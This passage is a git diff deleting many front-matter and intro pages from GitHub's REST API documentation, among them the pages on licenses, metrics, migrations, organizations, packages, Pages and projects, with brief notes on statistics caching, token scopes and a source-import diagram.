fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /licenses -autogenerated: rest ---- - - diff --git a/content/rest/licenses/licenses.md b/content/rest/licenses/licenses.md deleted file mode 100644 index 94b5d9036ba8..000000000000 --- a/content/rest/licenses/licenses.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: REST API endpoints for licenses -shortTitle: Licenses -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to retrieve popular open source licenses and information - about a particular project's license file. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/licenses -autogenerated: rest ---- - -## About licenses - -{% data variables.product.company_short %} uses [the open source Ruby Gem Licensee](https://github.com/benbalter/licensee) to attempt to identify the license for a project. Licensee matches the contents of a project's `LICENSE` file (if it exists) against a short list of known licenses. As a result, the API does not take into account the licenses of project dependencies or other means of documenting a project's license such as references to the license name in the documentation. - -If a license is matched, the license key and name returned conforms to the [SPDX specification](https://spdx.org/). - -**Note:** These endpoints will also return a repository's license information: - -* [Get a repository](/rest/repos/repos#get-a-repository) -* [List repositories for a user](/rest/repos/repos#list-repositories-for-a-user) -* [List organization repositories](/rest/repos/repos#list-organization-repositories) -* [List forks](/rest/repos/forks#list-forks) -* [List repositories watched by a user](/rest/activity/watching#list-repositories-watched-by-a-user) -* [List team repositories](/rest/teams/teams#list-team-repositories) - -> [!WARNING] -> GitHub is a lot of things, but it’s not a law firm. As such, {% data variables.product.company_short %} does not provide legal advice. Using the API or sending us an email about it does not constitute legal advice nor does it create an attorney-client relationship. If you have any questions about what you can and can't do with a particular license, you should consult with your own legal counsel before moving forward. In fact, you should always consult with your own lawyer before making any decisions that might have legal ramifications or that may impact your legal rights. -> -> {% data variables.product.company_short %} created these endpoints to help users get information about open source licenses and the projects that use them. We hope it helps, but please keep in mind that we’re not lawyers (at least most of us aren't) and that we make mistakes like everyone else. For that reason, {% data variables.product.company_short %} provides the API on an "as-is" basis and makes no warranties regarding any information or licenses provided on or through it, and disclaims liability for damages resulting from using the API. - - diff --git a/content/rest/markdown/index.md b/content/rest/markdown/index.md deleted file mode 100644 index 31db1ba44250..000000000000 --- a/content/rest/markdown/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for Markdown -shortTitle: Markdown -allowTitleToDifferFromFilename: true -intro: Use the REST API to render a Markdown document as an HTML page or as raw text. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /markdown -autogenerated: rest ---- - - - - diff --git a/content/rest/markdown/markdown.md b/content/rest/markdown/markdown.md deleted file mode 100644 index e59be64e25a2..000000000000 --- a/content/rest/markdown/markdown.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for Markdown -shortTitle: Markdown -allowTitleToDifferFromFilename: true -intro: Use the REST API to render a markdown document as an HTML page or as raw text. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/markdown -autogenerated: rest ---- - - - - diff --git a/content/rest/meta/index.md b/content/rest/meta/index.md deleted file mode 100644 index f53ab941d06a..000000000000 --- a/content/rest/meta/index.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for meta data -shortTitle: Meta -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to get meta information about {% data - variables.product.github %}, including the IP addresses of {% data - variables.product.github %} services. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /meta -autogenerated: rest ---- - - - - diff --git a/content/rest/meta/meta.md b/content/rest/meta/meta.md deleted file mode 100644 index 0dfb1d018f57..000000000000 --- a/content/rest/meta/meta.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: REST API endpoints for meta data -shortTitle: Meta -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to get meta information about {% data - variables.product.github %}, including the IP addresses of {% data - variables.product.github %} services. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/meta -autogenerated: rest ---- - - - - diff --git a/content/rest/metrics/community.md b/content/rest/metrics/community.md deleted file mode 100644 index 0e677680f125..000000000000 --- a/content/rest/metrics/community.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: REST API endpoints for community metrics -shortTitle: Community -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve information about your community profile. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/metrics/index.md b/content/rest/metrics/index.md deleted file mode 100644 index bd8be376c8f0..000000000000 --- a/content/rest/metrics/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: REST API endpoints for metrics -shortTitle: Metrics -intro: 'Use the REST API to retrieve the community profile, statistics, and traffic for your repository.' -allowTitleToDifferFromFilename: true -redirect_from: - - /rest/reference/repository-metrics - - /rest/reference/metrics -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /community - - /statistics - - /traffic -autogenerated: rest ---- - - - - diff --git a/content/rest/metrics/statistics.md b/content/rest/metrics/statistics.md deleted file mode 100644 index 88fdbb0b48ed..000000000000 --- a/content/rest/metrics/statistics.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: REST API endpoints for repository statistics -shortTitle: Statistics -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to fetch the data that {% data variables.product.github - %} uses for visualizing different types of repository activity. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About repository statistics - -You can use the REST API to fetch the data that {% data variables.product.github %} uses for visualizing different types of repository activity. - -### Best practices for caching - -Computing repository statistics is an expensive operation, so we try to return cached -data whenever possible. If the data hasn't been cached when you query a repository's -statistics, you'll receive a `202` response; a background job is also fired to -start compiling these statistics. You should allow the job a short time to complete, and -then submit the request again. If the job has completed, that request will receive a -`200` response with the statistics in the response body. - -Repository statistics are cached by the SHA of the repository's default branch; pushing to the default branch resets the statistics cache. - -### Statistics exclude some types of commits - -The statistics exposed by the API match the statistics shown by [different repository graphs](/repositories/viewing-activity-and-data-for-your-repository/about-repository-graphs). - -To summarize this: -* All statistics exclude merge commits. -* Contributor statistics also exclude empty commits. - - diff --git a/content/rest/metrics/traffic.md b/content/rest/metrics/traffic.md deleted file mode 100644 index c69156ab4f0c..000000000000 --- a/content/rest/metrics/traffic.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for repository traffic -shortTitle: Traffic -allowTitleToDifferFromFilename: true -intro: Use the REST API to retrieve information provided in your repository graph. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About repository traffic - -You can use these endpoints to retrieve information provided in your repository graph, for repositories that you have write access to. For more information, see [AUTOTITLE](/repositories/viewing-activity-and-data-for-your-repository/viewing-traffic-to-a-repository). - - diff --git a/content/rest/migrations/index.md b/content/rest/migrations/index.md deleted file mode 100644 index ec95ab03dcfb..000000000000 --- a/content/rest/migrations/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: REST API endpoints for migrations -shortTitle: Migrations -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to migrate the repositories and users of your organization from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}.' -redirect_from: - - /v3/migrations - - /v3/migration - - /v3/migration/migrations - - /rest/reference/migrations -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /orgs - - /source-imports - - /users -autogenerated: rest ---- - - - - diff --git a/content/rest/migrations/orgs.md b/content/rest/migrations/orgs.md deleted file mode 100644 index 561c1063ec81..000000000000 --- a/content/rest/migrations/orgs.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: REST API endpoints for organization migrations -allowTitleToDifferFromFilename: true -shortTitle: Organizations -intro: >- - Use the REST API to export one or more repositories so you can move them to {% - ifversion ghes %}another{% endif %} {% data - variables.product.prodname_ghe_server %}{% ifversion ghes %} instance{% endif - %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About organization migrations - -These endpoints are only available to authenticated organization owners. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permission-levels-for-an-organization) and [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -{% data variables.migrations.organization_migrations_intro %} - - diff --git a/content/rest/migrations/source-imports.md b/content/rest/migrations/source-imports.md deleted file mode 100644 index 288c978ae83f..000000000000 --- a/content/rest/migrations/source-imports.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: REST API endpoints for source imports -shortTitle: Source endpoints -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to start an import from a Git source repository. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest ---- - -## About source imports - -> [!WARNING] -> Due to very low levels of usage and available alternatives, the Source Imports API has been {% data variables.release-phases.retired %}. For more details and alternatives, see the [changelog](https://gh.io/source-imports-api-deprecation). - -{% data variables.migrations.source_imports_intro %} A typical source import would start the import and then (optionally) update the authors and/or update the preference for using Git LFS if large files exist in the import. You can also create a webhook that listens for the [`RepositoryImportEvent`](/webhooks-and-events/webhooks/webhook-events-and-payloads#repository_import) to find out the status of the import. - -{% data reusables.user-settings.imports-api-classic-pat-only %} - -The following diagram provides a more detailed example: - -```text -+---------+ +--------+ +---------------------+ -| Tooling | | GitHub | | Original Repository | -+---------+ +--------+ +---------------------+ - | | | - | Start import | | - |----------------------------->| | - | | | - | | Download source data | - | |--------------------------------------------->| - | | Begin streaming data | - | |<---------------------------------------------| - | | | - | Get import progress | | - |----------------------------->| | - | "status": "importing" | | - |<-----------------------------| | - | | | - | Get commit authors | | - |----------------------------->| | - | | | - | Map a commit author | | - |----------------------------->| | - | | | - | | | - | | Finish streaming data | - | |<---------------------------------------------| - | | | - | | Rewrite commits with mapped authors | - | |------+ | - | | | | - | |<-----+ | - | | | - | | Update repository on GitHub | - | |------+ | - | | | | - | |<-----+ | - | | | - | Map a commit author | | - |----------------------------->| | - | | Rewrite commits with mapped authors | - | |------+ | - | | | | - | |<-----+ | - | | | - | | Update repository on GitHub | - | |------+ | - | | | | - | |<-----+ | - | | | - | Get large files | | - |----------------------------->| | - | | | - | opt_in to Git LFS | | - |----------------------------->| | - | | Rewrite commits for large files | - | |------+ | - | | | | - | |<-----+ | - | | | - | | Update repository on GitHub | - | |------+ | - | | | | - | |<-----+ | - | | | - | Get import progress | | - |----------------------------->| | - | "status": "complete" | | - |<-----------------------------| | - | | | - | | | -``` - - diff --git a/content/rest/migrations/users.md b/content/rest/migrations/users.md deleted file mode 100644 index c3b771b13009..000000000000 --- a/content/rest/migrations/users.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: REST API endpoints for user migrations -allowTitleToDifferFromFilename: true -shortTitle: Users -intro: >- - Use the REST API to review, backup, or migrate your user data stored on {% - data variables.product.github %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About user migrations - -These endpoints are only available to authenticated account owners. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -{% data variables.migrations.user_migrations_intro %} For a list of migration data that you can download, see [Download a user migration archive](#download-a-user-migration-archive). - -To download an archive, you'll need to start a user migration first. Once the status of the migration is `exported`, you can download the migration. - -Once you've created a migration archive, it will be available to download for seven days. But, you can delete the user migration archive sooner if you'd like. You can unlock your repository when the migration is `exported` to begin using your repository again or delete the repository if you no longer need the source data. - - diff --git a/content/rest/oauth-authorizations/index.md b/content/rest/oauth-authorizations/index.md deleted file mode 100644 index 1ff5bf2b1e46..000000000000 --- a/content/rest/oauth-authorizations/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for OAuth app authorizations -shortTitle: OAuth app authorizations -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage the access {% data variables.product.prodname_oauth_apps %} have to your account. -versions: - ghes: '*' -topics: - - API -children: - - /oauth-authorizations -autogenerated: rest ---- - - diff --git a/content/rest/oauth-authorizations/oauth-authorizations.md b/content/rest/oauth-authorizations/oauth-authorizations.md deleted file mode 100644 index 4ac16401fe47..000000000000 --- a/content/rest/oauth-authorizations/oauth-authorizations.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for OAuth app authorizations -shortTitle: OAuth app authorizations -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to manage the access {% data - variables.product.prodname_oauth_apps %} have to your account. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/oauth-authorizations -autogenerated: rest ---- - -## About OAuth authorizations - -You can use the REST API to manage the access {% data variables.product.prodname_oauth_apps %} have to your account. You can only access these endpoints via basic authentication using your username and password, not tokens. - - diff --git a/content/rest/orgs/api-insights.md b/content/rest/orgs/api-insights.md deleted file mode 100644 index 94f447f4f832..000000000000 --- a/content/rest/orgs/api-insights.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for API Insights -shortTitle: API Insights -intro: Use the REST API to view statistics for API usage in an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/blocking.md b/content/rest/orgs/blocking.md deleted file mode 100644 index e3b2111ea04c..000000000000 --- a/content/rest/orgs/blocking.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for blocking users -shortTitle: Blocking users -intro: Use the REST API to block and unblock users in an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About blocking users - -The token used to authenticate the call must have the `admin:org` scope in order to make any blocking calls for an organization. Otherwise, the response returns `HTTP 404`. - - diff --git a/content/rest/orgs/bypass-requests.md b/content/rest/orgs/bypass-requests.md deleted file mode 100644 index 158acb1432b2..000000000000 --- a/content/rest/orgs/bypass-requests.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for organization push rule bypass requests -shortTitle: Bypass requests -intro: >- - Use the REST API to manage organization push rule bypass requests. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/custom-properties.md b/content/rest/orgs/custom-properties.md deleted file mode 100644 index d2a8c0ab773c..000000000000 --- a/content/rest/orgs/custom-properties.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for custom properties -shortTitle: Custom properties -intro: Use the REST API to create and manage custom properties for an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '>=3.13' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -redirect_from: - - /rest/orgs/properties ---- - -## About custom properties - -You can use the REST API to create and manage custom properties for an organization. You can use custom properties to add metadata to repositories in your organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). - - diff --git a/content/rest/orgs/custom-roles.md b/content/rest/orgs/custom-roles.md deleted file mode 100644 index c20b34e9e268..000000000000 --- a/content/rest/orgs/custom-roles.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for custom repository roles -shortTitle: Custom roles -intro: Use the REST API to interact with custom repository roles. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -redirect_from: - - /rest/orgs/custom_roles -autogenerated: rest ---- - - - - diff --git a/content/rest/orgs/index.md b/content/rest/orgs/index.md deleted file mode 100644 index c0d228a6538a..000000000000 --- a/content/rest/orgs/index.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: REST API endpoints for organizations -shortTitle: Organizations -intro: >- - Use the REST API to control and manage all your {% data - variables.product.github %} organizations. -allowTitleToDifferFromFilename: true -redirect_from: - - /v3/orgs - - /rest/reference/orgs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /api-insights - - /blocking - - /bypass-requests - - /custom-properties - - /custom-roles - - /issue-types - - /members - - /network-configurations - - /organization-roles - - /orgs - - /outside-collaborators - - /personal-access-tokens - - /rule-suites - - /rules - - /security-managers - - /webhooks -autogenerated: rest ---- - - - - diff --git a/content/rest/orgs/issue-types.md b/content/rest/orgs/issue-types.md deleted file mode 100644 index e23524792504..000000000000 --- a/content/rest/orgs/issue-types.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: REST API endpoints for issue types -shortTitle: Issue types -intro: Use the REST API to interact with issue types in an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/members.md b/content/rest/orgs/members.md deleted file mode 100644 index f41fe4b74bf4..000000000000 --- a/content/rest/orgs/members.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for organization members -allowTitleToDifferFromFilename: true -shortTitle: Members -intro: Use the REST API to manage memberships in your organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% ifversion ghec %} - -> [!NOTE] If you use {% data variables.product.prodname_emus %}, you add members to organizations directly, rather than sending invitations. The operations for managing organization invitations will not work in your enterprise. However, the operations for viewing or managing membership directly will work as expected. - -{% endif %} - - diff --git a/content/rest/orgs/network-configurations.md b/content/rest/orgs/network-configurations.md deleted file mode 100644 index c951ac9b5c0b..000000000000 --- a/content/rest/orgs/network-configurations.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for network configurations -shortTitle: Network configurations -intro: REST API endpoints for network configurations -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -redirect_from: - - /rest/settings/network-configurations - - /rest/settings -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/organization-roles.md b/content/rest/orgs/organization-roles.md deleted file mode 100644 index b95987b93664..000000000000 --- a/content/rest/orgs/organization-roles.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for organization roles -shortTitle: Organization roles -intro: Use the REST API to interact with organization roles. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '>=3.14' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/orgs.md b/content/rest/orgs/orgs.md deleted file mode 100644 index 0a65d507c732..000000000000 --- a/content/rest/orgs/orgs.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for organizations -shortTitle: Organizations -intro: Use the REST API to interact with organizations. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - - - - diff --git a/content/rest/orgs/outside-collaborators.md b/content/rest/orgs/outside-collaborators.md deleted file mode 100644 index 4d2c70b22726..000000000000 --- a/content/rest/orgs/outside-collaborators.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for outside collaborators -shortTitle: Outside collaborators -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage outside collaborators. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - - diff --git a/content/rest/orgs/personal-access-tokens.md b/content/rest/orgs/personal-access-tokens.md deleted file mode 100644 index 801d9c2ff842..000000000000 --- a/content/rest/orgs/personal-access-tokens.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for personal access tokens -shortTitle: Personal access tokens -intro: 'Use the REST API to manage {% data variables.product.pat_v2 %}s.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/rule-suites.md b/content/rest/orgs/rule-suites.md deleted file mode 100644 index 0931bb9018c2..000000000000 --- a/content/rest/orgs/rule-suites.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: REST API endpoints for rule suites -shortTitle: Rule suites -intro: Use the REST API to manage rule suites for organizations. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/rules.md b/content/rest/orgs/rules.md deleted file mode 100644 index 1cc3fe09fb19..000000000000 --- a/content/rest/orgs/rules.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: REST API endpoints for rules -shortTitle: Rules -intro: >- - Use the REST API to manage rulesets for organizations. Organization rulesets - control how people can interact with selected branches and tags in - repositories in an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/orgs/security-managers.md b/content/rest/orgs/security-managers.md deleted file mode 100644 index a99fe4060515..000000000000 --- a/content/rest/orgs/security-managers.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for security managers -shortTitle: Security managers -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage security managers in an organization. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About security managers - -{% data reusables.organizations.security-manager-beta-note %} - -{% data reusables.organizations.about-security-managers %} - - diff --git a/content/rest/orgs/webhooks.md b/content/rest/orgs/webhooks.md deleted file mode 100644 index e8c701d0bbfb..000000000000 --- a/content/rest/orgs/webhooks.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for organization webhooks -allowTitleToDifferFromFilename: true -shortTitle: Webhooks -intro: Use the REST API to interact with webhooks in an organization. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About organization webhooks - -Organization webhooks allow your server to receive HTTP `POST` payloads whenever certain events happen in an organization. For more information, see [AUTOTITLE](/webhooks). - - diff --git a/content/rest/packages/index.md b/content/rest/packages/index.md deleted file mode 100644 index 90b080c0348e..000000000000 --- a/content/rest/packages/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: REST API endpoints for packages -shortTitle: Packages -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to interact with {% data variables.product.prodname_registry %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /packages -autogenerated: rest ---- - - diff --git a/content/rest/packages/packages.md b/content/rest/packages/packages.md deleted file mode 100644 index 942d0ad71033..000000000000 --- a/content/rest/packages/packages.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: REST API endpoints for packages -shortTitle: Packages -allowTitleToDifferFromFilename: true -intro: 'Use the REST API to interact with {% data variables.product.prodname_registry %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/packages -autogenerated: rest ---- - -## About {% data variables.product.prodname_registry %} - -{% data variables.product.prodname_registry %} supports a range of package managers for publishing packages. For more information, see [AUTOTITLE](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats). - -After you publish a package, you can use the REST API to manage the package in your {% data variables.product.prodname_dotcom %} repositories and organizations. For more information, see [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package). - -To use the REST API to manage {% data variables.product.prodname_registry %}, you must authenticate using a {% data variables.product.pat_v1 %}. -* To access package metadata, your token must include the `read:packages` scope. -* To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes. -* To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes. - -If your package is in a registry that supports granular permissions, then your token does not need the `repo` scope to access or manage this package. If your package is in a registry that only supports repository-scoped permissions, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. For a list of registries that only support repository-scoped permissions, see [AUTOTITLE](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages). - -{% ifversion ghec %} -To access resources in an organization with SSO enabled, you must enable SSO for your {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on). -{% endif %} - - diff --git a/content/rest/pages/index.md b/content/rest/pages/index.md deleted file mode 100644 index 5d1c973a8d5c..000000000000 --- a/content/rest/pages/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for {% data variables.product.prodname_pages %} -shortTitle: Pages -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data variables.product.prodname_pages %} - sites and builds. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -children: - - /pages -autogenerated: rest ---- - - - - diff --git a/content/rest/pages/pages.md b/content/rest/pages/pages.md deleted file mode 100644 index 29aac1834851..000000000000 --- a/content/rest/pages/pages.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_pages %}' -shortTitle: Pages -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data variables.product.prodname_pages %} - sites and builds. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -redirect_from: - - /rest/reference/pages -autogenerated: rest ---- - - - - diff --git a/content/rest/private-registries/index.md b/content/rest/private-registries/index.md deleted file mode 100644 index 0371fe5d1a0a..000000000000 --- a/content/rest/private-registries/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Private registries -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true -children: - - /organization-configurations -versions: - fpt: '*' - ghec: '*' - ghes: '>=3.16' ---- - diff --git a/content/rest/private-registries/organization-configurations.md b/content/rest/private-registries/organization-configurations.md deleted file mode 100644 index 2aa473a694b7..000000000000 --- a/content/rest/private-registries/organization-configurations.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Organization configurations -shortTitle: Organization configurations -intro: Use the REST API to manage private registry configurations for organizations. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '>=3.16' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - -> [!NOTE] -> The ability to use the REST API to manage private registries is currently in {% data variables.release-phases.public_preview %} and subject to change. - - diff --git a/content/rest/projects/cards.md b/content/rest/projects/cards.md deleted file mode 100644 index 99f016bccc2e..000000000000 --- a/content/rest/projects/cards.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_project_v1_caps %} cards' -shortTitle: Cards -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to create and manage cards on a {% data - variables.projects.projects_v1_board %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.projects.projects-api %} - -{% data reusables.user-settings.classic-projects-api-classic-pat-only %} - - diff --git a/content/rest/projects/collaborators.md b/content/rest/projects/collaborators.md deleted file mode 100644 index 0c0df805405e..000000000000 --- a/content/rest/projects/collaborators.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'REST API endpoints for {% data variables.product.prodname_project_v1_caps %} collaborators' -shortTitle: Collaborators -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to manage collaborators on a {% data - variables.projects.projects_v1_board %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -{% data reusables.projects.projects-api %} - -{% data reusables.user-settings.classic-projects-api-classic-pat-only %} - - diff --git a/content/rest/projects/columns.md b/content/rest/projects/columns.md deleted file mode 100644 index 295f2c715529..000000000000 --- a/content/rest/projects/columns.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'REST API endpoints for {% data 